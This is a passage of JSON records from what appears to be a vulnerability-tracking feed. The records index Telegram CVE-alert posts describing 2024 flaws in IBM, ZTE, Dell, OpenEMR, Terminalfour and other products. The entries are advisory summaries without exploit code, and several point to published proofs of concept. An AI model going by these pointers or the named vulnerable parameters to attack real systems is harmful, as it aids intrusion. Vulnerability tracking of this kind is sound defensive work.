Service 2.0.0 through 2.0.12 uses weaker than expected cryptographic algorithms that could allow an attacker to decrypt highly sensitive information. \nSeverity: 5.9 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-16T20:14:35.000000Z"}, {"uuid": "3d64ec65-28c1-48b0-8f07-3ee19299e7d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22315", "type": "seen", "source": "https://t.me/cvedetector/16561", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-22315 - IBM Fusion Remote Network Connection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-22315 \nPublished : Jan. 28, 2025, 2:15 a.m. | 53\u00a0minutes ago \nDescription : IBM Fusion and IBM Fusion HCI 2.3.0 through 2.8.2 is vulnerable to insecure network connection by allowing an attacker who gains access to a Fusion container to establish an external network connection. \nSeverity: 4.0 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-28T04:34:36.000000Z"}, {"uuid": "46a46c44-0f20-40ff-8a94-490b3638b4e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22611", "type": "seen", "source": "https://t.me/cvedetector/22034", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-22611 - OpenEMR SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-22611 \nPublished : April 3, 2025, 7:15 p.m. | 2\u00a0hours ago \nDescription : OpenEMR 7.0.2 is vulnerable to SQL Injection via \\openemr\\library\\classes\\Pharmacy.class.php, \\controllers\\C_Pharmacy.class.php and \\openemr\\controller.php. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"03 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-03T23:36:36.000000Z"}, {"uuid": "0f2cba20-e1b2-45fb-8840-c86a6f306427", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22269", "type": "published-proof-of-concept", "source": "https://t.me/HackerArsenal/705", "content": "#exploit\nVMware Workstation:\nEscaping via a New Route - Virtual Bluetooth\n(CVE-2024-22267, CVE-2024-22269)", "creation_timestamp": "2024-11-19T09:51:26.000000Z"}, {"uuid": "9c434844-2c42-4e08-baa0-7e2390d09473", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22316", "type": "seen", "source": "https://t.me/cvedetector/16467", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-22316 - IBM Sterling File Gateway Unauthorized Access Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-22316 \nPublished : Jan. 27, 2025, 4:15 p.m. | 17\u00a0minutes ago \nDescription : IBM Sterling File Gateway 6.0.0.0 through 6.1.2.5 and 6.2.0.0 through 6.2.0.1 could allow an authenticated user to perform unauthorized actions to another user's data due to improper access controls. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-27T17:40:20.000000Z"}, {"uuid": "2f043214-5cc9-4009-af23-0595d113ab07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22347", "type": "seen", "source": "https://t.me/cvedetector/15902", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-22347 - IBM DevOps Velocity Weak Cryptographic Algorithms\", \n  \"Content\": \"CVE ID : CVE-2024-22347 \nPublished : Jan. 20, 2025, 6:15 p.m. | 41\u00a0minutes ago \nDescription : IBM DevOps Velocity 5.0.0 and IBM UrbanCode Velocity 4.0.0 through 4.0. 25 uses weaker than expected cryptographic algorithms that could allow an attacker to decrypt highly sensitive information. \nSeverity: 5.9 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-20T20:03:42.000000Z"}, {"uuid": "b932b736-e9e5-4be8-975b-6ebc62f7d728", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22349", "type": "seen", "source": "https://t.me/cvedetector/15901", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-22349 - IBM DevOps Velocity/IBM UrbanCode Velocity Local File Inclusion Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-22349 \nPublished : Jan. 20, 2025, 6:15 p.m. | 41\u00a0minutes ago \nDescription : IBM DevOps Velocity 5.0.0 and IBM UrbanCode Velocity 4.0.0 through 4.0. 25 allows web pages to be stored locally which can be read by another user on the system. \nSeverity: 4.0 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-20T20:03:41.000000Z"}, {"uuid": "82244173-a813-43be-8b19-f6b783e72bdf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22348", "type": "seen", "source": "https://t.me/cvedetector/15903", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-22348 - IBM DevOps Velocity Cross-Origin Resource Sharing (CORS) Privilege Escalation\", \n  \"Content\": \"CVE ID : CVE-2024-22348 \nPublished : Jan. 20, 2025, 6:15 p.m. | 41\u00a0minutes ago \nDescription : IBM DevOps Velocity 5.0.0 and IBM UrbanCode Velocity 4.0.0 through 4.0. 25 uses Cross-Origin Resource Sharing (CORS) which could allow an attacker to carry out privileged actions and retrieve sensitive information as the domain name is not being limited to only trusted domains. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-20T20:03:43.000000Z"}, {"uuid": "f71bf5b6-ffa8-4947-bbfa-42a86b8c14cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "seen", "source": "Telegram/vvENguxMk6egBjpdPte27ShgOijri6nw2CqaYkwfnwCVOw", "content": "", "creation_timestamp": "2024-02-09T08:39:53.000000Z"}, {"uuid": "09e3b3c7-ef6c-42dd-9910-7df523380c22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22051", "type": "seen", "source": "https://t.me/cibsecurity/74436", "content": "\u203c\ufe0fCVE-2024-22051\u203c\ufe0f\n\nCommonMarker versions prior to 0.23.4 are at risk of an integer overflow vulnerability. This vulnerability can result in possibly unauthenticated remote attackers to cause heap memory corruption, potentially leading to an information leak or remote code execution, via parsing tables with marker rows that contain more than UINT16MAX columns.  \n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2024-01-05T01:47:01.000000Z"}, {"uuid": "491fed07-d6e1-4786-ada9-9a2d107b5040", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2201", "type": "seen", "source": "https://t.me/cvedetector/13373", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-2201 - Intel Linux Kernel Cross-Privilege Spectre v2 Leak\", \n  \"Content\": \"CVE ID : CVE-2024-2201 \nPublished : Dec. 19, 2024, 9:15 p.m. | 40\u00a0minutes ago \nDescription : A cross-privilege Spectre v2 vulnerability allows attackers to bypass all deployed mitigations, including the recent Fine(IBT), and to leak arbitrary Linux kernel memory on Intel systems. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T23:10:57.000000Z"}, {"uuid": "8de84a5d-9a85-43db-8f8a-3de6d9d3c61a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22063", "type": "seen", "source": "https://t.me/cvedetector/13930", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-22063 - ZTE Corporation ZENIC ONE R58 Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-22063 \nPublished : Dec. 30, 2024, 10:15 a.m. | 29\u00a0minutes ago \nDescription : The ZENIC ONE R58 products by ZTE Corporation have a command injection vulnerability. An authenticated attacker can exploit this vulnerability to tamper with messages, inject malicious code, and subsequently launch attacks on related devices. \nSeverity: 7.6 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-30T11:47:09.000000Z"}, {"uuid": "1df4f6ee-c24a-4515-9147-a624bda5ad6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22515", "type": "published-proof-of-concept", "source": "Telegram/sKHu8wd7N0mx28fIreF9FeiK2DP_0GH3AYeILmonc0x2Yg", "content": "", "creation_timestamp": "2024-01-28T05:49:46.000000Z"}, {"uuid": "0d93fc94-63b6-4419-bf15-25780fe3e199", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22514", "type": "published-proof-of-concept", "source": "Telegram/sKHu8wd7N0mx28fIreF9FeiK2DP_0GH3AYeILmonc0x2Yg", "content": "", "creation_timestamp": "2024-01-28T05:49:46.000000Z"}, {"uuid": "6306adcd-408a-4779-8aca-6a67fb2dcddd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22050", "type": "seen", "source": "https://t.me/cibsecurity/74435", "content": "\u203c\ufe0fCVE-2024-22050\u203c\ufe0f\n\nPath traversal in the static file service in Iodine less than 0.7.33 allows an unauthenticated, remote attacker to read files outside the public folder via malicious URLs.  \n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2024-01-05T01:35:39.000000Z"}, {"uuid": "ca271bf0-646b-41cb-93d3-bb21d6a63ef7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22049", "type": "seen", "source": "https://t.me/cibsecurity/74434", "content": "\u203c\ufe0fCVE-2024-22049\u203c\ufe0f\n\nhttparty before 0.21.0 is vulnerable to an assumedimmutable web parameter vulnerability. A remote and unauthenticated attacker can provide a crafted filename parameter during multipartformdata uploads which could result in attacker controlled filenames being written.  \n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2024-01-05T01:35:34.000000Z"}, {"uuid": "4074d20c-1274-4682-b9ba-9bd8128edb6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22461", "type": "seen", "source": "https://t.me/cvedetector/12873", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-22461 - Dell RecoverPoint for Virtual Machines Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-22461 \nPublished : Dec. 13, 2024, 2:15 p.m. | 24\u00a0minutes ago \nDescription : Dell RecoverPoint for Virtual Machines 6.0.x contains an OS Command injection vulnerability. A low privileged remote attacker could potentially exploit this vulnerability by running any command as root, leading to gaining of root-level access and compromise of complete system. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-13T15:46:23.000000Z"}, {"uuid": "f7c5e9ef-434c-4780-833f-025edf2848e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22048", "type": "seen", "source": "https://t.me/cibsecurity/74433", "content": "\u203c\ufe0fCVE-2024-22048\u203c\ufe0f\n\ngovuktechdocs versions from 2.0.2 to before 3.3.1 are vulnerable to a crosssite scripting vulnerability. Malicious JavaScript may be executed in the user's browser if a malicious search result is displayed on the search page.  \n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2024-01-05T01:35:29.000000Z"}, {"uuid": "53ae8641-6a1b-48fb-b0db-ba1bbeb61359", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22047", "type": "seen", "source": "https://t.me/cibsecurity/74432", "content": "\u203c\ufe0fCVE-2024-22047\u203c\ufe0f\n\nA race condition exists in Audited 4.0.0 to 5.3.3 that can result in an authenticated user to cause audit log entries to be attributed to another user.  \n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2024-06-15T18:50:00.000000Z"}, {"uuid": "1b471841-b403-4b08-8e32-fbfaddecf821", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22067", "type": "seen", "source": "https://t.me/cvedetector/11292", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-22067 - ZTE NH8091 Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-22067 \nPublished : Nov. 18, 2024, 7:15 a.m. | 34\u00a0minutes ago \nDescription : ZTE NH8091 product has an improper permission control vulnerability. Due to improper permission control of the Web module interface, an authenticated attacker may exploit the vulnerability to execute arbitrary commands. \nSeverity: 6.8 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-18T09:01:15.000000Z"}, {"uuid": "5f058f96-e94d-4162-93c3-9ed98f002c8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22733", "type": "seen", "source": "https://t.me/cvedetector/9607", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-22733 - TP-Link MR200 Authentication Bypass Null Pointer Dereference Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-22733 \nPublished : Nov. 1, 2024, 4:15 p.m. | 29\u00a0minutes ago \nDescription : TP Link MR200 V4 Firmware version 210201 was discovered to contain a null-pointer-dereference in the web administration panel on /cgi/login via the sign, Action or LoginStatus query parameters which could lead to a denial of service by a local or remote unauthenticated attacker. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"01 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-01T17:51:38.000000Z"}, {"uuid": "f5af2bce-0ad1-4c94-bfdc-281f00f9c3b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22011", "type": "seen", "source": "Telegram/y9ysFBzGNUDmgUJ6jvgmWCz6FRKow6uoCOgBONPZQ3fQdSbT", "content": "", "creation_timestamp": "2025-02-18T21:11:31.000000Z"}, {"uuid": "df334196-55aa-4d56-9602-55a4cd669daf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22065", "type": "seen", "source": "https://t.me/cvedetector/9243", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-22065 - \"ZTE MF258 Pro Command Injection Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-22065 \nPublished : Oct. 29, 2024, 2:15 a.m. | 31\u00a0minutes ago \nDescription : There is a command injection vulnerability in ZTE MF258 Pro product. Due to insufficient validation of Ping Diagnosis interface parameter, an authenticated attacker could use the vulnerability to execute arbitrary commands. \nSeverity: 6.8 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-29T03:53:59.000000Z"}, {"uuid": "697d7274-7aa0-47f0-9551-057427eaf0c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22372", "type": "seen", "source": "Telegram/D7p4tViLMAGUA6X56JfFUPkIMR2e9LMDDG2gUikNgcy6JcQK", "content": "", "creation_timestamp": "2025-02-17T15:38:32.000000Z"}, {"uuid": "da1ab26b-57b5-47e4-ae83-23ab51a855f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22068", "type": "seen", "source": "https://t.me/cvedetector/7573", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-22068 - ZTE ZXR10 Privilege Escalation Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-22068 \nPublished : Oct. 10, 2024, 9:15 a.m. | 18\u00a0minutes ago \nDescription : Improper Privilege Management vulnerability in ZTE ZXR10 1800-2S series ,ZXR10 2800-4,ZXR10 3800-8,ZXR10 160 series on 64 bit allows Functionality Bypass.This issue affects ZXR10 1800-2S series ,ZXR10 2800-4,ZXR10 3800-8,ZXR10 160 series: V4.00.10 and earlier. \nSeverity: 6.0 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-10T11:44:11.000000Z"}, {"uuid": "a7eeeb3f-5e08-40d8-875c-0de72e93eaf9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22893", "type": "seen", "source": "https://t.me/cvedetector/6325", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-22893 - OpenSlides Timing Memory Password Exposure\", \n  \"Content\": \"CVE ID : CVE-2024-22893 \nPublished : Sept. 25, 2024, 3:15 p.m. | 22\u00a0minutes ago \nDescription : OpenSlides 4.0.15 verifies passwords by comparing password hashes using a function with content-dependent runtime. This can allow attackers to obtain information about the password hash using a timing attack. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-25T17:41:13.000000Z"}, {"uuid": "8968ccf0-d872-4f1d-aba1-7b5e3a2c516d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22892", "type": "seen", "source": "https://t.me/cvedetector/6324", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-22892 - OpenSlides Weak Password Hashing Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-22892 \nPublished : Sept. 25, 2024, 3:15 p.m. | 22\u00a0minutes ago \nDescription : OpenSlides 4.0.15 was discovered to be using a weak hashing algorithm to store passwords. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-25T17:41:11.000000Z"}, {"uuid": "bbcc4906-c490-43ff-a18c-ca68c5debe03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22399", "type": "seen", "source": "https://t.me/cvedetector/5719", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-22399 - Apache Seata Deserialization of Untrusted Data RCE\", \n  \"Content\": \"CVE ID : CVE-2024-22399 \nPublished : Sept. 16, 2024, 12:15 p.m. | 43\u00a0minutes ago \nDescription : Deserialization of Untrusted Data vulnerability in Apache Seata.\u00a0  \n  \nWhen developers disable authentication on the Seata-Server and do not use the Seata client SDK dependencies, they may construct uncontrolled serialized malicious requests by directly sending bytecode based on the Seata private protocol.  \n  \nThis issue affects Apache Seata: 2.0.0, from 1.0.0 through 1.8.0.  \n  \nUsers are recommended to upgrade to version 2.1.0/1.8.1, which fixes the issue. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-16T15:21:30.000000Z"}, {"uuid": "4a642513-54df-4379-808a-9b841442aaa6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22170", "type": "seen", "source": "https://t.me/cvedetector/6563", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-22170 - Western Digital My Cloud Buffer Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-22170 \nPublished : Sept. 27, 2024, 5:15 p.m. | 43\u00a0minutes ago \nDescription : Improper Restriction of Operations within the Bounds of a Memory Buffer vulnerability in Western Digital My Cloud ddns-start on Linux allows Overflow Buffers.This issue affects My Cloud: before 5.29.102. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-27T20:04:59.000000Z"}, {"uuid": "19735b6b-76f7-4297-ac8d-248bcea1fe3f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22303", "type": "seen", "source": "https://t.me/cvedetector/5811", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-22303 - \"Privilege Assignment vulnerability in Houzez\"\", \n  \"Content\": \"CVE ID : CVE-2024-22303 \nPublished : Sept. 17, 2024, 2:15 p.m. | 40\u00a0minutes ago \nDescription : Incorrect Privilege Assignment vulnerability in favethemes Houzez houzez allows Privilege Escalation.This issue affects Houzez: from n/a through 3.2.4. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-17T17:16:51.000000Z"}, {"uuid": "c2a340e1-b072-4911-8db9-95b1e4dd0641", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22013", "type": "seen", "source": "https://t.me/cvedetector/5766", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-22013 - Cisco U-Boot Environment Information Disclosure\", \n  \"Content\": \"CVE ID : CVE-2024-22013 \nPublished : Sept. 16, 2024, 8:15 p.m. | 27\u00a0minutes ago \nDescription : U-Boot environment is read from unauthenticated partition. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-16T22:53:28.000000Z"}, {"uuid": "e3a90d33-17f2-448c-8dac-40625e06a5f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22217", "type": "seen", "source": "https://t.me/cvedetector/3271", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-22217 - Terminalfour SSRF Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-22217 \nPublished : Aug. 15, 2024, 6:15 p.m. | 35\u00a0minutes ago \nDescription : A Server-Side Request Forgery (SSRF) vulnerability in Terminalfour before 8.3.19 allows authenticated users to use specific features to access internal services including sensitive information on the server that Terminalfour runs on. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-15T20:59:27.000000Z"}, {"uuid": "3da13b47-6cf6-4d1e-bb3c-d17fdaff8f63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22219", "type": "seen", "source": "https://t.me/cvedetector/3270", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-22219 - Terminalfour XML External Entity (XXE) Injection\", \n  \"Content\": \"CVE ID : CVE-2024-22219 \nPublished : Aug. 15, 2024, 6:15 p.m. | 35\u00a0minutes ago \nDescription : XML External Entity (XXE) vulnerability in Terminalfour 8.0.0001 through 8.3.18 and XML JDBC versions up to 1.0.4 allows authenticated users to submit malicious XML via unspecified features which could lead to various actions such as accessing the underlying server, remote code execution (RCE), or performing Server-Side Request Forgery (SSRF) attacks. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-15T20:59:26.000000Z"}, {"uuid": "7a308dee-1109-4e75-8677-984079cbaeda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22218", "type": "seen", "source": "https://t.me/cvedetector/3269", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-22218 - Terminalfour XML JDBC XXE Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-22218 \nPublished : Aug. 15, 2024, 6:15 p.m. | 35\u00a0minutes ago \nDescription : XML External Entity (XXE) vulnerability in Terminalfour 8.0.0001 through 8.3.18 and XML JDBC versions up to 1.0.4 allows authenticated users to submit malicious XML via unspecified features which could lead to various actions such as accessing the underlying server, remote code execution (RCE), or performing Server-Side Request Forgery (SSRF) attacks. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", 